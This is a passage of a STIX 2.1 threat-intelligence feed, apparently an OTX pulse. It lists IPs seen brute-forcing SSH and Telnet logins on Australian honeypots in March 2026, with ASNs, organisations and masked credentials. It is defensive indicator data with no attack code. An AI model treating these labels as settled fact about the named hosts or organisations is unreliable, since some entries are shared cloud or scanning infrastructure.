      "created": "2026-03-14T08:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 129. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): 3**********4, d*****r, ***, r**t, ***. Passwords observed (masked): 1***5, 3***********4, 3**********4, A*****!, D*********!.",
      "id": "indicator--a930e69a-0147-483f-b038-429ad8db1776",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.78.198.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T08:15:14.000Z",
      "valid_until": "2026-04-15T08:15:11.000Z"
    },
    {
      "created": "2026-03-14T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): i******t, r**t, 3**********4, c***r, d*********n. Passwords observed (masked): 1****6, 1**8, 3***********4, 3**********4, C******3.",
      "id": "indicator--ee7992e9-da1a-4e0d-a823-9b5af1275414",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.59.94.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T09:15:13.000Z",
      "valid_until": "2026-04-15T09:15:11.000Z"
    },
    {
      "created": "2026-03-14T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16591. Organisation(s): Google Fiber Inc.. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--545f96e5-488e-4e7c-82d4-b2624e57db54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '136.60.94.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T09:15:13.000Z",
      "valid_until": "2026-04-15T09:15:11.000Z"
    },
    {
      "created": "2026-03-14T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): **, r**t, 3**********4, **, f**d. Passwords observed (masked): p******d, 1******8, 3***********4, 3**********4, 5****8.",
      "id": "indicator--58aa1c82-ce21-4f4f-ab08-3f2ab0260fe9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.196.10.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T09:15:13.000Z",
      "valid_until": "2026-04-15T09:15:11.000Z"
    },
    {
      "created": "2026-03-14T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 202425. Organisation(s): IP Volume inc. Usernames observed (masked): , G************0. Passwords observed (masked): .",
      "id": "indicator--e7165df4-de32-491d-bd33-b66a17373e9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T09:15:13.000Z",
      "valid_until": "2026-04-15T09:15:11.000Z"
    },
    {
      "created": "2026-03-14T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BY. ASN(s): 56740. Organisation(s): DataHata Ltd. Usernames observed (masked): 3**********4, g******a, i*****l, a**n, a*******r. Passwords observed (masked): 1**4, 3***********4, 3**********4, 1****6, 1******8.",
      "id": "indicator--43dd7559-7ad9-4719-81a0-0411cc863f92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '31.130.206.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T09:15:13.000Z",
      "valid_until": "2026-04-15T09:15:11.000Z"
    },
    {
      "created": "2026-03-14T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IE. ASN(s): 5607. Organisation(s): Sky UK Limited. Usernames observed (masked): r**t, 3**********4, e**y, m****h, p****r. Passwords observed (masked): p******d, 1**4, !**********C, 1***5, 3***********4.",
      "id": "indicator--e4be410a-b276-4594-a363-010c4819c751",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.183.250.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T09:15:13.000Z",
      "valid_until": "2026-04-15T09:15:11.000Z"
    },
    {
      "created": "2026-03-14T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4, e**y, m****h, p****r. Passwords observed (masked): p******d, 1**4, 3***********4, 3**********4, !**********C.",
      "id": "indicator--52fd5203-7bb9-4def-9b14-9bbe516e2d47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.75.194.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T09:15:13.000Z",
      "valid_until": "2026-04-15T09:15:11.000Z"
    },
    {
      "created": "2026-03-14T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--67d229f0-0bc1-43c4-95a7-ff0be8b306b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T09:15:13.000Z",
      "valid_until": "2026-04-15T09:15:11.000Z"
    },
    {
      "created": "2026-03-14T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 577. Organisation(s): Bell Canada. Usernames observed (masked): 3**********4, d*********n, i******t, r**t, c***r. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1**8, C******3.",
      "id": "indicator--8f908d02-8496-43e8-8007-1989d2d88b2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '67.71.54.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T09:15:13.000Z",
      "valid_until": "2026-04-15T09:15:11.000Z"
    },
    {
      "created": "2026-03-14T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): z******n, 3**********4, a**r, d***o, **. Passwords observed (masked): 1***5, 1******8, 3***********4, 3**********4, M*********!.",
      "id": "indicator--f6b54341-6ccb-4525-82ba-06e128a31654",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.123.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T10:15:16.000Z",
      "valid_until": "2026-04-15T10:15:12.000Z"
    },
    {
      "created": "2026-03-14T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--6940bcf2-4582-4efa-a576-705771ffaab6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.13.228.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T10:15:16.000Z",
      "valid_until": "2026-04-15T10:15:12.000Z"
    },
    {
      "created": "2026-03-14T10:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--4f016416-97a2-4e18-9ede-5c0aca8ff745",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.143.70.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T10:15:16.000Z",
      "valid_until": "2026-04-15T10:15:12.000Z"
    },
    {
      "created": "2026-03-14T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): s****m. Passwords observed (masked): Z****************o.",
      "id": "indicator--4014f63b-b1e2-4fb3-9470-b880f37c0442",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T10:15:16.000Z",
      "valid_until": "2026-04-15T10:15:12.000Z"
    },
    {
      "created": "2026-03-14T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1********0, p*******1, ***, 1**4, 1****c.",
      "id": "indicator--abf03ba4-0602-4b20-a192-d161c1793234",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.51.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T10:15:16.000Z",
      "valid_until": "2026-04-15T10:15:12.000Z"
    },
    {
      "created": "2026-03-14T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--a9b79176-8859-42de-aea3-b3afe98f9245",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T10:15:16.000Z",
      "valid_until": "2026-04-15T10:15:12.000Z"
    },
    {
      "created": "2026-03-14T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--b8a59aaa-3432-45d0-9823-6ef91198e699",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T10:15:16.000Z",
      "valid_until": "2026-04-15T10:15:12.000Z"
    },
    {
      "created": "2026-03-14T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--99428d30-e365-46ea-a0fc-44218fd39063",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T10:15:16.000Z",
      "valid_until": "2026-04-15T10:15:12.000Z"
    },
    {
      "created": "2026-03-14T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--050b4e0b-d205-4b13-980d-7613c8db13bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T10:15:16.000Z",
      "valid_until": "2026-04-15T10:15:12.000Z"
    },
    {
      "created": "2026-03-14T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--5583dae3-eb76-48c0-b7ac-b6b59e51e745",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T10:15:16.000Z",
      "valid_until": "2026-04-15T10:15:12.000Z"
    },
    {
      "created": "2026-03-14T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--0f2164f7-802d-41a8-a11d-df8956a6dd21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T10:15:16.000Z",
      "valid_until": "2026-04-15T10:15:12.000Z"
    },
    {
      "created": "2026-03-14T11:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KZ. ASN(s): 9198. Organisation(s): JSC Kazakhtelecom.",
      "id": "indicator--e4921980-6d27-42de-ae30-4e4de565c91b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.90.183.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T11:15:13.000Z",
      "valid_until": "2026-04-15T11:15:11.000Z"
    },
    {
      "created": "2026-03-14T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--f0eaddf1-0cc5-43de-9ffa-b5ee2d67531d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.65.195.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T11:15:13.000Z",
      "valid_until": "2026-04-15T11:15:11.000Z"
    },
    {
      "created": "2026-03-14T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, p******d, r**t.",
      "id": "indicator--db1e2e6b-3067-4ed6-a592-1409d00e4ac7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '50.217.45.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T11:15:13.000Z",
      "valid_until": "2026-04-15T11:15:11.000Z"
    },
    {
      "created": "2026-03-14T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): ***, 3**********4, a**l, ***, ***. Passwords observed (masked): 1**4, 3***********4, 3**********4, 7*****7, a**l.",
      "id": "indicator--b60cd0b4-ac04-4c07-820a-5ded2fb274dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.91.48.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T12:15:13.000Z",
      "valid_until": "2026-04-15T12:15:11.000Z"
    },
    {
      "created": "2026-03-14T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 141998. Organisation(s): China Telecom. Usernames observed (masked): c*****p, u****u. Passwords observed (masked): A******5, c*********4.",
      "id": "indicator--84b3e2a4-eaa6-4b27-85a5-2a75fda4083e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.75.110.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T12:15:13.000Z",
      "valid_until": "2026-04-15T12:15:11.000Z"
    },
    {
      "created": "2026-03-14T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--cc7d0f4b-8119-4cff-b155-e178271f306a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T12:15:13.000Z",
      "valid_until": "2026-04-15T12:15:11.000Z"
    },
    {
      "created": "2026-03-14T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 700. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 3449. Organisation(s): Universidad Nacional de Buenos Aires. Usernames observed (masked): r**t, o****e, u**r, f***k, ***. Passwords observed (masked): 1****6, a****3, *, ***, 1******8.",
      "id": "indicator--39cb7bdc-d8b5-454a-8e9a-5a545656b3e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.92.145.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T12:15:13.000Z",
      "valid_until": "2026-04-15T12:15:11.000Z"
    },
    {
      "created": "2026-03-14T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, b****p. Passwords observed (masked): 1****e, 1*******y, **, ***, 4**1.",
      "id": "indicator--70c3af93-877f-4c47-9189-3460ad244c7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.5.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T12:15:13.000Z",
      "valid_until": "2026-04-15T12:15:11.000Z"
    },
    {
      "created": "2026-03-14T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 96. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****r, **. Passwords observed (masked): !***t, 1******x, 1******X, A********!, P******d.",
      "id": "indicator--fe9ae4ef-2037-4e2b-bb99-21a994b93c7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.95.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T12:15:13.000Z",
      "valid_until": "2026-04-15T12:15:11.000Z"
    },
    {
      "created": "2026-03-14T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 399. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, t**t, c***o, 1**4. Passwords observed (masked): a***n, 1****6, a****3, a******3, p******d.",
      "id": "indicator--74d86204-3baf-466f-8dd6-40d2657c3095",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.231.193.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T13:15:13.000Z",
      "valid_until": "2026-04-15T13:15:11.000Z"
    },
    {
      "created": "2026-03-14T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 290. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, u**r, a****n, b*********e. Passwords observed (masked): a***n, 1**4, *, 1***5, 1*******9.",
      "id": "indicator--51de78fb-cac6-4eb9-9e35-b32089ea88f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.1.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T13:15:13.000Z",
      "valid_until": "2026-04-15T13:15:11.000Z"
    },
    {
      "created": "2026-03-14T13:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--cce638e5-28a7-4e05-b807-b953d1453bfe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.91.40.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T13:15:13.000Z",
      "valid_until": "2026-04-15T13:15:11.000Z"
    },
    {
      "created": "2026-03-14T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--a7295f0d-1c4c-48c8-a575-7ad0f1e78f93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T13:15:13.000Z",
      "valid_until": "2026-04-15T13:15:11.000Z"
    },
    {
      "created": "2026-03-14T14:15:13.000Z",
